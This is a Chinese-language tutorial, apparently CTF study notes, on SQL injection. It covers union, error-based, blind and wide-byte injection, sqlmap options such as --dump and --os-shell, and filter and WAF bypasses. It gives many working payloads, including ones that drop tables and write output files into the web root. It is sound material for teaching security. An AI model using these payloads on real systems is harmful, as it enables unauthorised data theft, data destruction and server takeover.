涉及的数据库知识

union

联合查询:将两条SQL语句的结果一起输出

语法:select语句1 union select语句2

使用条件:前后两个语句的查询结果的字段数相同

order by

结果排序:该函数原本用于将查询结果排序

语法:select * from table_name order by column_name

通过order by遍历字段序号可以得到原有查询语句输出结果有几个字段

database()

输出当前数据库的库名

information_schema

information_schema为系统自带的数据库

里面有一个tables表,该表存放着数据库和数据表的关联,其中table_schema为存储数据库名的字段,table_name为存储表名的字段

select table_name from information_schema.tables where table_schema=database()会输出当前数据库中的所有表名

还有一个columns表,该表存放着数据表和字段的关联,使用该表查询某表中有哪些字段时,需要同时指定是哪个数据的哪个表

select column_name from information_schema.columns where table_name='admin'and table_schema=database()会输出指定数据表中的所有字段名

limit

用于分页

语法:select * from table_name limit n,m;

n表示从第n行开始,m表示取m条数据

--空格注释

遇到引号如 select * from user where id='$id'

可以先将前面的引号闭合,再将后面的引号用 -- qwe注释掉

例如如下的payload

1
2' union select 1,table_name,3 from information_schema.tables where table_schema=database() -- qwe

此处的qwe只是为了演示出—后面的空格,并无实际意义

replace

用于替换字符串

语法:REPLACE (String,from_str,to_str)

String中所有出现的from_str替换为to_str

into outfile

SELECT INTO 语句从一个表中选取数据,然后把数据插入另一个表中,常用于创建表的备份复件或者用于对记录进行存档。

在 SELECT 查询语句中使用 INTO OUTFILE 参数可以将查询结果保存到文本文件中。

语法:SELECT ... INTO OUTFILE 'file_name'

如果题目条件允许,可以执行show variables like '%secure_file_priv%'来查看允许导出结果的目录,MySQL服务只允许在这个目录中执行文件的导入和导出操作。

like

LIKE 操作符用于在 WHERE 子句中搜索列中的指定模式

现在,我们希望从上面的 “Persons” 表中选取居住在以 “N” 开始的城市里的人:

我们可以使用下面的 SELECT 语句:

1
2
SELECT * FROM Persons
WHERE City LIKE 'N%'

提示:% 可用于定义通配符(模式中缺少的字母)

常见通配符:% 表示可有零个或多个任意字符; _ 表示需要一个任意字符;

原理

SQL注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到sql语句中,被当作sql语句的一部分进行执行,从而导致数据泄露,丢失甚至服务器瘫痪。如果代码中没有过滤或者过滤不严谨是会出现漏洞的。

SQL注入攻击的本质,是把用户输入的数据当做代码执行

SQL注入的条件是可控变量和可带入数据库查询

信息收集

操作系统

数据库

判断注入点

  1. and 1=1 页面不变
    and 1=2 页面出现区别
    则该地址可能存在注入漏洞

    这种方法太过常见,可能会被一些站点的防火墙拦截。

    此时可以稍微做一些变形,比如%26%26 -1 like -1

  2. id = 杂乱字符串

    若页面出现区别,则该地址可能存在注入漏洞

  3. 通过运算符检测漏洞

    id = 2-1,id运算结果与原来一致

    如果页面也一致,则该地址可能存在注入漏洞

如果测试注入点时页面返回404,则大概率没有注入点

注入点类型

POST注入

POST和GET注入的区别就是注入点位置发生了变化,在浏览器中已经无法直接进行查看与修改。

POST注入高危点:网页中的登录框、查询框等各种和数据库有交互的框

手动POST注入一般使用burpsuite工具进行抓包

使用sqlmap自动进行POST注入有两种方法

可以使用--forms对页面的表单进行测试

也可以先用burpsuite抓包,并将数据包保存,然后使用-r 数据包目录对数据包中的POST注入点进行分析

数字型注入

数字型注入是指在一个期望数字的输入位置注入SQL代码。因为数字型数据通常不需要引号包围,所以注入相对简单。例如,一个基于数字的 SQL 注入可能在一个像这样的查询中实现:

1
SELECT * FROM users WHERE id = [input]

如果正常输入为 1,那么查询变为 SELECT * FROM users WHERE id = 1。如果输入为 1 OR 1=1,则查询变为 SELECT * FROM users WHERE id = 1 OR 1=1,这将返回所有用户的数据,因为 1=1 总是真。

字符型注入

字符型注入发生在处理字符串数据的查询中。攻击者必须闭合开放的字符串(使用引号),然后注入额外的 SQL 代码。例如:

1
SELECT * FROM users WHERE username = '[input]'

正常输入可能是 alice,查询为 SELECT * FROM users WHERE username = 'alice'。如果输入是 '; DROP TABLE users; --,那么查询就变成了 SELECT * FROM users WHERE username = ''; DROP TABLE users; --',这会尝试删除整个 users 表。

搜索型注入

搜索型注入通常出现在搜索功能中,特别是当查询设计成模糊匹配用户输入时。例如:

1
SELECT * FROM products WHERE name LIKE '%[input]%'

这种情况我们仍然可以只闭合前面的引号

Insert/update/delete注入

当页面中存在修改账号信息、注册账号、删除账号等操作时,事实上就是存在插入、修改数据库数据的操作

insert型注入相关的sql语句形式 INSERT INTO table_name VALUES (值1, 值2,....)或者INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)

update型注入相关的sql语句形式: UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值

delete型注入相关的sql语句形式:DELETE FROM 表名称 WHERE 列名称 = 值

HEAD注入

HEAD注入并非是指使用HEAD请求方式进行注入,而是通过修改请求报文中的请求头部(head)来进行注入。

PHP中通常使用$_SERVER数组来收集请求头信息

手动HEAD注入可以使用burpsuite工具进行抓包

数据库类型

注入手段

联合查询

联合查询主要是运用SQL的union语法

将需要执行的语句与原语句使用union拼接在一起

判断列数

order by 1开始一直到order by n,观察是否有查询结果,用来判断当前数据表有多少字段

判断字段数可以使用二分法,先判断1和一个大数n,若n无显示则判断$\frac{n}{2} $

若$\frac{n}{2} $无显示则判断$\left [ \frac{n}{2} ,n \right ] $之间的数,否则判断$\left [ 1,\frac{n}{2} \right ] $之间的数,以此类推

判断数据显示位

若 注入语句-1 union select 1 2 3,而页面只输出2

说明第二个字段为当前页面的输出点(显示位),数据库只输出该字段上的内容

这里使用-1使之前的语句查询无结果,即空查询,则显示的时候就会显示union之后的第二条语句。

报错注入

报错注入 (Error-based injuction),就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中

当代码中使用die(mysql_error())来返回错误信息时,我们可以使用报错注入

XPATH报错注入

通过输入非法路径来导致XPATH syntax error

extractvalue(arg1,arg2)

接受两个参数,arg1:XML文档,arg2:XPATH语句
条件:mysql5.1及以上版本
标准payload:and extractvalue(1,concat(0x7e,(select user()),0x7e))
返回结果:XPATH syntax error.’~root@localhost~’

updatexml(arg1,arg2,arg3)

arg1为xml文档对象的名称,arg2为xpath格式的字符串;arg3为string格式替换查找到的符合条件的数据
条件:mysql5.1.5及以上版本
标准payload:and updatexml(1,concat(0x7e,(select user()),0x7e),1)
返回结果:XPATH syntax error:’~root@localhost~’

布尔盲注

布尔盲注(Boolean-based Blind SQL Injection)属于SQL注入的一种形式。其主要原理是通过向数据库发送特制的SQL查询语句,根据应用程序的不同响应(通常是真或假)来推断数据库中的信息。布尔盲注不直接显示数据库中的数据,而是通过观察应用程序对注入恶意SQL语句的响应来推测数据。

注入流程

布尔盲注强调一个字,所以每次我们只能从返回的布尔值获取有关数据库的某一项信息

例如通过length()函数来判断字符串的长度,通过substr()substring()逐个试出字符串中的每个字符

当然,我们想要获取数据库中的某个数据,肯定是要从库、表、字段逐步来获取信息

下面是常见的注入流程:

  • 求当前数据库长度
  • 求当前数据库表的ASCII
  • 求当前数据库中表的个数
  • 求当前数据库中其中一个表名的长度
  • 求当前数据库中其中一个表名的ASCII
  • 求列名的数量
  • 求列名的长度
  • 求列名的ASCII
  • 求字段的数量
  • 求字段内容的长度
  • 求字段内容对应的ASCII

常用函数

  • ascii()函数,返回字符ascii码值
    参数 : str单字符
  • length() 函数,返回字符串的长度
    参数 : str 字符串
  • left() 函数,返回从左至右截取固定长度的字符串
    参数str,length
    str : 字符串
    length:截取长度
  • substr()/substring()函数 , 返回从pos位置开始到length长度的子字符串
    参数,str,pos,length
    str: 字符串
    pos:开始位置

payload示例

以数据库这一层为例,我们需要得到数据库名称的长度,然后求数据库名称中有哪些字符

首先获取长度,我们可以使用二分法,先选一个较大的数,将其与leng'r'h的值进行比较

1
2
SELECT * from users WHERE id = 1 and (length(database())<8)
SELECT * from users WHERE id = 1 and (length(database())>8)

如果长度小于8,则再与4进行比较

获取数据库名时,以left()函数为例

1
2
3
4
-- 从左至右截取一个字符
SELECT * from users WHERE id = 1 and (left(database(),1)='s')
-- 从左只有截取两个字符
SELECT * from users WHERE id = 1 and (left(database(),2)='se')

时间盲注

时间盲注是指基于时间的盲注,也叫延时注入,根据页面的响应时间来判断是否存在注入。

使用场景

时间盲注使用的优先级并不高,通常是在联合注入、报错注入、布尔盲注都无法使用时才会考虑使用:

  1. 页面没有回显位置(联合注入无法使用)
  2. 页面不显示数据库的报错信息(报错注入无法使用)
  3. 无论成功还是失败,页面只响应一种结果(布尔盲注无法使用)

判断注入点

依次尝试以下类型的测试payload,延时5秒以上则说明判断成立,即存在注入

1
2
?id=1 and if(1,sleep(5),3) -- a
?id=1' and if(1,sleep(5),3) -- a

if(1,sleep(5),3) 是一个条件表达式,其中 1 总是真(因为1在逻辑上代表真),因此执行 sleep(5),这使得数据库暂停5秒。

IF语句基本语法如下

1
IF(condition, true_value, false_value)
  • condition: 这是需要评估的条件表达式。
  • true_value: 如果条件为真时返回的值。
  • false_value: 如果条件为假时返回的值。

宽字节注入

原理

计算机底层由二进制存储数据,不同的编码映射着不同的二进制数据,我们以8位二进制为单字节,也称标准字节。宽字节指比标准字节有更多的字节
常见的单字节编码:ASCII
常见的宽字节编码:GB2312,GBK,GB18030,BIG5等

以GBK为例,它以2个字节进行编码

服务端对用户输入的敏感数据(主要是单双引号等特殊字符)进行了转义,如利用mysql_real_escape_string()或addslashes()等函数

它会将用户输入的/?id=1'转换为/?id=1\'·,这样的目的是为了防止sql注入构造闭合.

此时我们可以使用宽字节注入来摧毁转义,当然前提是PHP发送请求到MySql时使用了语句SET NAMES 'gbk' 或是set character_set_client =gbk 进行了一次编码

当转义使用的\为ASCII编码,而客户端传入的参数被当成GBK等宽字节编码,则可以通过在\之前插入一个十六进制字节(ASCII码要大于128,才到汉字的范围)来让mysql以为插入的字节和\是一个中文字符,从而吃掉\,摧毁转义。

示例

比如使用%df'会被PHP当中的addslashes函数转义为“%df\'
\即url里面的%5c, '对应的url编码是%27,那么也就是说,%df\'会被转义%df%5c%27
倘若网站的字符集是GBK,mysql使用的编码也是GBK的话,就会认为%df%5c%27是一个宽字节。
%df%5c会结合(因为宽字节是占两个字节),也就是。后面就有一个,这样就能成功构造注入语句。

工具

sqlmap

sqlmap是一款基于python编写的渗透测试工具,在sql检测和利用方面功能强大,支持多种数据库。

详细教程可以参考下面这篇文章:

sqlmap详细使用教程sqlmap *号星落.的博客-CSDN博客

使用场景

在学习SQL注入的过程中尽量少用sqlmap,自动化程度过高不利于对原理和基础知识的学习

但是在ctf比赛中,使用sqlmap可以更快地发现漏洞类型,节省时间

基础指令

sqlmap -u "http://example.com/vuln.php?id=1"

连接-u后url的目标网站并进行扫描。

常用选项

获取数据库数据

--dbs:列出数据库的名称。
--tables:列出数据库中的所有表。
--columns:列出指定表中的所有字段。
--dump:导出指定表中的数据。

渗透测试中尽量不要使用—dump,这种获取数据的行为俗称脱库,即利用网站的漏洞,获取数据库中的全部用户信息。如果没有经过防御方同意,则脱库是一种违法行为。

-D 数据库名:指定进行枚举的数据库。

-T 表名:指定进行枚举的数据库表。

-C 字段名:指定进行枚举的数据库字段。

--tech:指定注入手段,例如使用--tech B是指定使用布尔盲注

绕过目标站点检测

--random-agent:使用随机的user-agent头

--delay=n:每次探测延时n秒(放置访问过快被ban)

--proxy="http://127.0.0.1:8080/":使用代理

--count:查看数据量

由于渗透测试中不方便使用--dump来获取数据,我们可以使用--count来查看数据量,进而确认是否为高价值数据库

获取目标服务器的操作控制权限

--keep-alive:建立长久的HTTP(S)连接 (与—proxy不兼容)

--is-dba:查询目标数据库管理系统当前用户是否为DBA,如果为true则可以直接尝试getshell

--users:枚举目标数据库管理系统所有的用户

--os-shell:获取与目标系统交互的shell

--priv-esc:数据库进程用户权限提升

测试等级和风险

--level=LEVEL:设置测试的等级(1-5,默认为1)lv2:cookie; lv3:user-agent,refere; lv5:host

在sqlmap/xml/payloads文件内可以看见各个level发送的payload

--risk=RISK :风险(1-4,默认1)升高风险等级会增加数据被篡改的风险。risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试

过滤绕过

回显过滤

字段值过滤

常量绕过(数字或字符串)

如果对回显内容中不重要的字段的值过滤,可以将其替代为常量,此时回显中该字段的值为字段名的数字或字符串

例如如下payload,将username字段用常量1代替

1' union select 1,password from ctfshow_user2 where username='flag' -- qwe

16进制绕过

如果是对回显内容中字段的值过滤,可以使用hex()将关键词转为十六进制数

例如如下payload

-1' union select id,hex(username),password from ctfshow_user3 where username='flag' -- qwe

replace绕过

replace绕过主要是应对对于回显结果的检测

比如下面的检测

1
2
3
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

我们可以将被过滤的字符串替换为我们指定的字符串,然后将回显结果替换回去

比如上述检测我们可以使用如下replace绕过

首先用replace将回显中的数字替换

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J")

得到回显结果后,将结果使用下面的python脚本复原

1
2
3
4
Cipher = " "
flag = Cipher.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace("@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0")

print(flag)

导出回显(针对全字符过滤)

当回显中的所有ASCII字符均被过滤时,考虑将回显输出到网站根目录下的txt文件中

例如如下情况:

1
2
3
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

此时可以利用into语句

payload为-1' union select username,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/ctf.txt' -- qwe

再访问/ctf.txt即可

传参(payload)过滤

字段值过滤

16进制绕过

如果是对payload传参内容中目标字段值的过滤,可以将其用对应的十六进制值代替,例如

1
2
3
4
5
6
mysql> select * from users where username = 0x7465737431;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+

当单双引号被禁用时,我们也可以将字段值用十六进制值来代替,这样值的位置就从字符串变为十六进制,避免使用引号

通配符绕过(模糊查询)

我们可以使用模糊查询like配合通配符来绕过对字段值的过滤

比如flag被过滤,我们可以构造如下payload

-1'or(username)like'f%

或者-1'or(username)like'%g

关键字过滤

大小写绕过

常用于 waf的正则表达式对大小写不敏感的情况

例如:waf过滤了关键字select,可以尝试使用Select等绕过。

在 SQL 中,关键字函数名是不用区分字母大小写的,比如 SELECT、WHERE、ORDER、GROUP BY 等关键字,以及 ABS、MOD、ROUND、MAX 等函数名。

舍弃关键字

如果关键字select被过滤,过滤时也不区分大小写,可以换一种思路来解题

例如将拼接的payload作为原本sql语句的查询条件

空格过滤

  1. 注释`//`**

    在MySQL中,用/*注释*/来标记注释的内容。

    该绕过的原理是使用注释时会自动在语句中创建一个空格

  2. 反引号(只能括表名和字段名)

    反引号只能替代字段名、表名前后的空格

    例如

    1
    2
    3
    4
    # 替换前
    -1'Union Select id,username,password from ctfshow_user where username ='flag' -- qwe
    # 替换后
    -1'Union/**/Select`id`,`username`,`password`from`ctfshow_user`where`username`='flag'%23
  3. 括号(仅能括能作为子查询的语句)

    如果空格被过滤,括号没有被过滤,可以用括号绕过。

    在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

    1
    -1'Union(Select(id),(username),(password)from(ctfshow_user)where(username)='flag')%23
  4. %09

    可以使用水平制表符替换空格,tab的url编码为%09

  5. %0a

    可以使用换行符替换空格,换行的url编码为%0a

  6. %0c

    可以使用换页符替换空格,换页符的url编码为%0c

  7. %0d

    可以使用回车符替换空格,回车的url编码为%0d

  8. %a0

    可以使用不间断空格替换空格,不间断空格的url编码为%a0

注释过滤

SQL注入题最常过滤的就是注释符,所以需要多备一些注释的方法,方便在被过滤时灵活切换

常见注释如下:

  1. --空格
  2. --%0c
  3. #%23
  4. /**/

当注释符都被过滤时,也可以考虑直接闭合后引号

例如and 'a'='a

引号过滤

  1. 16进制绕过

数字过滤